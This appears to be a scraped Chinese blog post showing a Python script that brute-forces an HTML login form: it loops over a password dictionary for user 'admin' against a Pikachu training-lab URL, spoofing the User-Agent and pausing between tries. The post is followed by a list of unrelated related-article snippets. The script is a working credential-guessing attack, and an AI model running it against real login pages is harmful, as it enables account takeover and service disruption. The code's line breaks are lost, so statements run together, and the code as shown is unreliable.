python暴力破解html表单

server/2025/3/29 17:27:54/
htmledit_views">
import requests
import time# 目标URL
url = "http://192.168.3.101/pikachu/vul/burteforce/bf_form.php"  # 请替换为实际的目标URL# 已知的用户名
username = "admin"# 密码字典文件路径
password_file = "passwords.txt"# 伪造请求头,避免被拦截
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}def login_attempt(username, password):session = requests.Session()response = session.get(url, headers=headers)# 构建表单数据data = {'username': username,'password': password,'submit': 'Login',}# 发送POST请求response = session.post(url, data=data, headers=headers)# 将返回的页面写入文件(调试用)with open('response.txt', 'w', encoding='utf-8') as f:f.write(response.text)# 检查是否登录成功if "login success" in response.text.lower():print(f"[+] Password found: {password}")return Trueelse:print(f"[-] Incorrect password: {password}")return False# 读取密码字典文件
with open(password_file, 'r', encoding='utf-8') as file:for password in file.readlines():password = password.strip()# 尝试登录if login_attempt(username, password):break# 适当延迟请求,避免被封time.sleep(1)

但是话说回来,这样的纯小子后台已经不多了,大部分加了验证码或者尝试登录次数的判定,所以也没什么用处

这个不建议改多线程,小网站的话真的会被扫崩掉,大网站也有封ip的风险


http://www.ppmy.cn/server/179094.html

相关文章

计算机网络——物理层设备

目录 ​编辑 中继器 集线器(Hub) 集线器,中继器的一些特性 集线器和中继器不能“无限串联” 集线器连接的网络,物理上是星型拓扑,逻辑上是总线型拓扑 集线器连接的各网段会“共享带宽” 中继器 如果我们想要网络…

Spring MVC 参数校验-校验注解

注解规则Null标注值必须为 nullNotNull标注值不可为 nullAssertTrue标注值必须为 trueAssertFalse标注值必须为 falseMin(value)标注值必须大于或等于 valueMax(value)标注值必须小于或等于 valueDecimalMin(value)标注值必须大于或等于 valueDecimalMax(value)标注值必须小于或…

CSS实现当鼠标悬停在一个元素上时,另一个元素的样式发生变化的效果

CSS可以实现当鼠标悬停在一个元素上时,另一个元素的样式发生变化的效果。可以通过以下几种方法来实现: 1. 使用兄弟选择器(Adjacent Sibling Selector) 如果两个元素是兄弟关系(即它们有相同的父元素)&am…

DJANGO 中间件的白名单配置

在处理白名单内的多个 Apps 的 URL 链接时,可以采用以下几种方法来简化白名单的配置: 1. 使用 reverse 动态获取 URL 如果你在 urls.py 中为每个 App 的 URL 定义了名称(name 参数),可以使用 reverse 函数动态获取这…

Java高并发容器的内核解析:从无锁算法到分段锁的架构演进

《Java高并发容器的内核解析:从无锁算法到分段锁的架构演进》 本文将以JUC包核心容器为切入点,深入剖析ConcurrentHashMap在Java 8中的64位Hash分段技术,解密LinkedBlockingQueue双锁队列设计的吞吐量秘密,并给出各容器在亿级流量…

微信小程序中使用Less样式方法

在微信小程序中使用Less样式,可以通过以下步骤实现。主要原理是借助Visual Studio Code(VSCode)的插件将Less文件自动编译为小程序支持的.wxss文件,或通过微信开发者工具的扩展功能直接集成Less编译环境。以下是具体方法&#xff…

Zookeeper 核心原理详解以及快速搭建

一、引言 Zookeeper 是 Apache 开源的分布式协调服务,专为分布式系统提供一致性、高可用性和容错能力。其核心设计目标是通过简单的接口(如文件系统目录树结构)实现复杂的分布式一致性协议,帮助开发者解决分布式环境下的协调难题…

3. 轴指令(omron 机器自动化控制器)——>MC_CamIn

机器自动化控制器——第三章 轴指令 14 MC_CamIn变量▶输入变量▶输出变量▶输入输出变量 功能说明▶指令详情▶时序图▶指令的中止▶重启运动指令▶多重启动运动指令▶异常 示例程序1▶参数设定▶动作示例▶梯形图▶结构文本(ST)▶示例程序2▶参数设定▶动作示例▶梯形图▶结构…